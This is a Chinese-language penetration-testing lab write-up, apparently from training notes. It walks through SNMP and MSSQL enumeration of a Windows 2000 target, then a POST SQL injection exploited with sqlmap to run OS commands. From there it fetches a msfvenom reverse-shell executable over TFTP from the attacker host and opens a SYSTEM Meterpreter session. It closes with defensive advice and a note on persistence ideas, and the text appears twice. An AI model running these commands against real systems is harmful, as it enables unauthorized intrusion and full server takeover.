渗透测试学习笔记之案例五
字数 1972 2025-08-29 08:31:35

渗透测试案例教学:从SQL注入到服务器控制

0x00 案例概述

本案例展示了一个完整的渗透测试过程,攻击者通过SQL注入漏洞作为突破口,最终完全控制了目标服务器。案例涉及多种渗透测试技术,包括信息收集、漏洞扫描、SQL注入利用、权限提升和远程控制。

0x01 实验环境

  • 目标靶机: 10.11.1.128
    • 操作系统: Windows 2000
    • Web服务器: Microsoft IIS 5.0
    • 数据库: Microsoft SQL Server 2000
  • 攻击机: Kali Linux (10.11.0.74)

0x02 信息收集阶段

1. SNMP服务扫描

使用snmp-check工具扫描目标服务器的SNMP服务(端口161):

snmp-check -c public 10.11.1.128

关键发现:

  • 系统信息: Windows 2000 Version 5.0 (Build 2195 Uniprocessor Free)
  • 主机名: DJ
  • 域: WORKGROUP
  • 用户账户: Guest, IUSR_SRV2, IWAM_SRV2, Administrator, TsInternetUser
  • 网络接口信息
  • 开放的TCP端口: 21(FTP), 25(SMTP), 80(HTTP), 443(HTTPS), 445(SMB), 27900(MSSQL)等
  • 共享目录:
    • C:\share
    • C:\Inetpub\wwwroot (Web根目录)

2. MSSQL服务扫描

使用Metasploit的mssql_ping模块确认MSSQL服务:

msf > use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > set RHOSTS 10.11.1.128
msf auxiliary(mssql_ping) > run

关键发现:

  • SQL Server名称: DJ
  • 实例名: MSSQLSERVER
  • 版本: 8.00.194 (SQL Server 2000)
  • 连接方式:
    • 命名管道: \DJ\pipe\sql\query
    • TCP端口: 27900

0x03 漏洞发现与利用

1. Web应用测试

发现POST类型的SQL注入漏洞:

  • URL: http://10.11.1.128/login-off.asp
  • 注入参数: txtLoginID和txtPassword

2. SQL注入验证

使用sqlmap进行深入测试:

sqlmap -u "http://10.11.1.128/login-off.asp" --data="txtLoginID=amdin&txtPassword=1&cmdSubmit=Login" --dbs --current-user --is-dba --current-db --batch

关键发现:

  • 注入类型: Stacked queries (堆叠查询)
  • 数据库类型: Microsoft SQL Server 2000
  • 当前用户: sa (系统管理员)
  • 当前数据库: bankdb
  • 用户权限: DBA (数据库管理员权限)
  • 可用数据库: bankdb, master, model, msdb, tempdb

3. 操作系统命令执行

利用SQL注入执行操作系统命令:

sqlmap -u "http://10.11.1.128/login-off.asp" --data="txtLoginID=amdin&txtPassword=1&cmdSubmit=Login" --os-cmd='命令' --tamper=space2mssqlblank.py

注意: 使用space2mssqlblank.py脚本绕过可能的过滤机制。

0x04 攻击实施

1. 生成Payload

使用msfvenom生成Meterpreter反弹shell:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.74 LPORT=4444 -f exe -o rshell.exe

2. 设置TFTP服务器

将生成的rshell.exe放入Kali的TFTP服务器目录。

3. 下载Payload到目标服务器

通过SQL注入执行TFTP命令下载payload:

sqlmap -u "http://10.11.1.128/login-off.asp" --data="txtLoginID=amdin&txtPassword=1&cmdSubmit=Login" --os-cmd='cd c:\inetpub\wwwroot\ && tftp -i 10.11.0.74 get rshell.exe' --tamper=space2mssqlblank.py

4. 执行Payload

通过SQL注入执行下载的payload:

sqlmap -u "http://10.11.1.128/login-off.asp" --data="txtLoginID=amdin&txtPassword=1&cmdSubmit=Login" --os-cmd='c:\inetpub\wwwroot\rshell.exe' --tamper=space2mssqlblank.py

5. 建立Meterpreter会话

在攻击机上启动Metasploit监听:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.11.0.74
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit

成功获取SYSTEM权限的Meterpreter会话。

0x05 技术要点总结

  1. 信息收集的重要性:

    • SNMP扫描可以获取大量系统信息
    • 服务识别有助于确定攻击方向
  2. SQL注入利用:

    • Stacked queries注入允许执行多条SQL语句
    • sa权限意味着可以直接执行操作系统命令
  3. 权限提升:

    • 利用数据库管理员权限执行系统命令
    • 通过TFTP传输payload避免直接上传
  4. 后渗透阶段:

    • Meterpreter提供了强大的后渗透功能
    • SYSTEM权限意味着完全控制系统

0x06 防御建议

  1. SQL注入防护:

    • 使用参数化查询
    • 实施输入验证和过滤
    • 最小化数据库账户权限
  2. 系统加固:

    • 禁用不必要的服务(如SNMP)
    • 限制数据库账户的操作系统权限
    • 禁用xp_cmdshell等危险存储过程
  3. 监控与日志:

    • 监控异常数据库活动
    • 记录所有SQL查询
    • 监控可疑的进程创建
  4. 网络防护:

    • 限制出站连接(防止TFTP下载)
    • 实施网络分段
    • 使用防火墙规则限制数据库访问

0x07 扩展思考

  1. 替代攻击路径:

    • 如果SQL注入不可用,可以尝试FTP或SMB服务
    • IIS 5.0可能存在已知漏洞可利用
  2. 权限维持:

    • 创建持久性后门
    • 添加隐藏用户账户
    • 安装rootkit
  3. 横向移动:

    • 收集域内其他主机信息
    • 尝试传递哈希攻击
    • 利用获取的凭证访问其他系统

本案例展示了从信息收集到完全控制服务器的完整过程,强调了安全配置和漏洞修复的重要性。

渗透测试案例教学:从SQL注入到服务器控制 0x00 案例概述 本案例展示了一个完整的渗透测试过程,攻击者通过SQL注入漏洞作为突破口,最终完全控制了目标服务器。案例涉及多种渗透测试技术,包括信息收集、漏洞扫描、SQL注入利用、权限提升和远程控制。 0x01 实验环境 目标靶机 : 10.11.1.128 操作系统: Windows 2000 Web服务器: Microsoft IIS 5.0 数据库: Microsoft SQL Server 2000 攻击机 : Kali Linux (10.11.0.74) 0x02 信息收集阶段 1. SNMP服务扫描 使用 snmp-check 工具扫描目标服务器的SNMP服务(端口161): 关键发现 : 系统信息: Windows 2000 Version 5.0 (Build 2195 Uniprocessor Free) 主机名: DJ 域: WORKGROUP 用户账户: Guest, IUSR_ SRV2, IWAM_ SRV2, Administrator, TsInternetUser 网络接口信息 开放的TCP端口: 21(FTP), 25(SMTP), 80(HTTP), 443(HTTPS), 445(SMB), 27900(MSSQL)等 共享目录: C:\share C:\Inetpub\wwwroot (Web根目录) 2. MSSQL服务扫描 使用Metasploit的 mssql_ping 模块确认MSSQL服务: 关键发现 : SQL Server名称: DJ 实例名: MSSQLSERVER 版本: 8.00.194 (SQL Server 2000) 连接方式: 命名管道: \\DJ\pipe\sql\query TCP端口: 27900 0x03 漏洞发现与利用 1. Web应用测试 发现POST类型的SQL注入漏洞: URL: http://10.11.1.128/login-off.asp 注入参数: txtLoginID和txtPassword 2. SQL注入验证 使用sqlmap进行深入测试: 关键发现 : 注入类型: Stacked queries (堆叠查询) 数据库类型: Microsoft SQL Server 2000 当前用户: sa (系统管理员) 当前数据库: bankdb 用户权限: DBA (数据库管理员权限) 可用数据库: bankdb, master, model, msdb, tempdb 3. 操作系统命令执行 利用SQL注入执行操作系统命令: 注意 : 使用 space2mssqlblank.py 脚本绕过可能的过滤机制。 0x04 攻击实施 1. 生成Payload 使用msfvenom生成Meterpreter反弹shell: 2. 设置TFTP服务器 将生成的rshell.exe放入Kali的TFTP服务器目录。 3. 下载Payload到目标服务器 通过SQL注入执行TFTP命令下载payload: 4. 执行Payload 通过SQL注入执行下载的payload: 5. 建立Meterpreter会话 在攻击机上启动Metasploit监听: 成功获取SYSTEM权限的Meterpreter会话。 0x05 技术要点总结 信息收集的重要性 : SNMP扫描可以获取大量系统信息 服务识别有助于确定攻击方向 SQL注入利用 : Stacked queries注入允许执行多条SQL语句 sa权限意味着可以直接执行操作系统命令 权限提升 : 利用数据库管理员权限执行系统命令 通过TFTP传输payload避免直接上传 后渗透阶段 : Meterpreter提供了强大的后渗透功能 SYSTEM权限意味着完全控制系统 0x06 防御建议 SQL注入防护 : 使用参数化查询 实施输入验证和过滤 最小化数据库账户权限 系统加固 : 禁用不必要的服务(如SNMP) 限制数据库账户的操作系统权限 禁用xp_ cmdshell等危险存储过程 监控与日志 : 监控异常数据库活动 记录所有SQL查询 监控可疑的进程创建 网络防护 : 限制出站连接(防止TFTP下载) 实施网络分段 使用防火墙规则限制数据库访问 0x07 扩展思考 替代攻击路径 : 如果SQL注入不可用,可以尝试FTP或SMB服务 IIS 5.0可能存在已知漏洞可利用 权限维持 : 创建持久性后门 添加隐藏用户账户 安装rootkit 横向移动 : 收集域内其他主机信息 尝试传递哈希攻击 利用获取的凭证访问其他系统 本案例展示了从信息收集到完全控制服务器的完整过程,强调了安全配置和漏洞修复的重要性。